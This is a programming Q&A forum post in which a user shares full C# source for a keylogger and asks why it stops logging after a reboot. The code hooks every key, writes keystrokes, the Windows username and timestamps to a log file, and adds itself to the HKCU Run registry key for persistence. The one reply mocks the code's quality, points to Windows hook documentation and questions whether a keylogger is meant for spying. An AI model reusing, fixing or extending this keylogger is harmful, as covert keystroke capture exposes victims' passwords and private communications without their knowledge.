Click here to Skip to main content
15,890,282 members
Please Sign up or sign in to vote.
1.50/5 (2 votes)
See more:
I have written a keyboard tracking program it reads keys pressed and writen as a log file.Its works fine but my problem is i have build it for working from startup


Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true).SetValue("startup", Application.ExecutablePath.ToString());

but its process sucessfully listed in process list but key tracking is not working
properly the log file is not updating during restaring of computer


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using Microsoft.Win32;
using System.Security.Principal;

namespace winapi
{
public partial class Form1 : Form
{
private globalKeyboardHook gkh = new globalKeyboardHook();
private int i = 0;
int c = 0;
public Form1()
{
InitializeComponent();
}


private void Form1_Load(object sender, EventArgs e)
{
StreamWriter SW;

this.SetStartup();

gkh.KeyDown += new KeyEventHandler(Form1_KeyDown);
this.HookAll();
if (File.Exists("log.txt"))
{
SW = new StreamWriter("log.txt", true);
SW.Write(SW.NewLine);
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("dd / MM / yyyy"));
SW.Write(DateTime.Now.ToLongTimeString());
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("ddddd"));
SW.Write(SW.NewLine);
SW.Write(SW.NewLine);
SW.Close();
}
else
{
SW = new StreamWriter("log.txt", true);
SW.Write(SW.NewLine);
SW.Write(WindowsIdentity.GetCurrent().Name);
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToLongTimeString());
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("ddddd"));
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("dd / MM / yyyy"));
SW.Write(SW.NewLine);
SW.Close();
}
}

private void SetStartup()
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true).SetValue("startup", Application.ExecutablePath.ToString());
}
private void HookAll()
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
this.gkh.HookedKeys.Add((Keys)key);
}
}


private void Form1_KeyDown(object sender, KeyEventArgs e)
{
i++;
string s = " ";

StreamWriter SW = new StreamWriter("log.txt", true);
switch (e.KeyCode)
{

case Keys.D1:
if (c != 0)
{ SW.Write("!"); }
c = 0;
break;

case Keys.D2:
if (c != 0)
{ SW.Write("@"); }
c = 0;
break;
case Keys.D3:
if (c != 0)
{ SW.Write("#"); }
c = 0;
break;
case Keys.D4:
if (c != 0)
{ SW.Write("$"); }
c = 0;
break;
case Keys.D5:
if (c != 0)
{ SW.Write("%"); }
c = 0;
break;
case Keys.D6:
if (c != 0)
{ SW.Write("^"); }
c = 0;
break;
case Keys.D7:
if (c != 0)
{ SW.Write("&"); }
c = 0;
break;
case Keys.D8:
if (c != 0)
{ SW.Write("*"); }
c = 0;
break;
case Keys.D9:
if (c != 0)
{ SW.Write("("); }
c = 0;
break;
case Keys.D0:
if (c != 0)
{ SW.Write(")"); }
c = 0;
break;

case Keys.Space:
SW.Write(" ");
break;

case Keys.Enter:
SW.Write(Environment.NewLine);
break;
case Keys.OemPeriod:
SW.Write(".");
break;

case Keys.LMenu:
SW.Write("{ALT}");
break;

case Keys.Oem7:
SW.Write("'");
break;
case Keys.RShiftKey:
SW.Write("");
c++;
break;
case Keys.Oemcomma:
SW.Write(",");
break;
case Keys.LShiftKey:
SW.Write("");
c++;
break;
case Keys.NumPad0:
SW.Write("0");
break;
case Keys.NumPad1:
SW.Write("1");
break;
case Keys.NumPad2:
SW.Write("2");
break;
case Keys.NumPad3:
SW.Write("3");
break;
case Keys.NumPad4:
SW.Write("4");
break;
case Keys.NumPad5:
SW.Write("5");
break;
case Keys.NumPad6:
SW.Write("6");
break;
case Keys.NumPad7:
SW.Write("7");
break;
case Keys.NumPad8:
SW.Write("8");
break;
case Keys.NumPad9:
SW.Write("9");
break;


default:
if (Control.ModifierKeys != Keys.Shift)
{
SW.Write(e.KeyCode.ToString().ToLower());
}
else
{
SW.Write(e.KeyCode);
}
break;
}
if (this.i == 80)
{
SW.Write(SW.NewLine);
this.i = 0;
}
SW.Close();
}
}
}
Posted

1 solution

No matter what the error is, I don't think it worth looking for after a first glance at your code. What you right has nothing to do with programming. Programming is all about abstraction and code re-use, but you allow yourself to repeat the same code fragment in the long switch block. Ever heard of methods with parameters? Also, you use immediate constants hard-coded in your code. How can you support it? If you allow yourself to repeat a single code fragment several times, there is nothing to talk about. You still need to grasp the basic ideas of programming activity before you go to any advanced topic. Look at some good codes, after all.

No, I have no idea how your code can work as a key logger as your code imply that you have a form which is at least activated. If so, what's the point to load it automatically at all. To handle key presses you need to install Windows Hook. To make a Windows Hook system-global, you need to create it in unmanaged DLL and organize communication with your .NET code. You can start from here http://msdn.microsoft.com/en-us/library/ms632589%28v=vs.85%29.aspx[^], but I'm afraid to say it could be well over your head, considering what I mentioned above.

Another thing I would concern about: why would anyone need a key logger? To spy on somebody? If so, I would feel very much ashamed if I'm helpful here.

—SA
 
Share this answer
 
v2

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900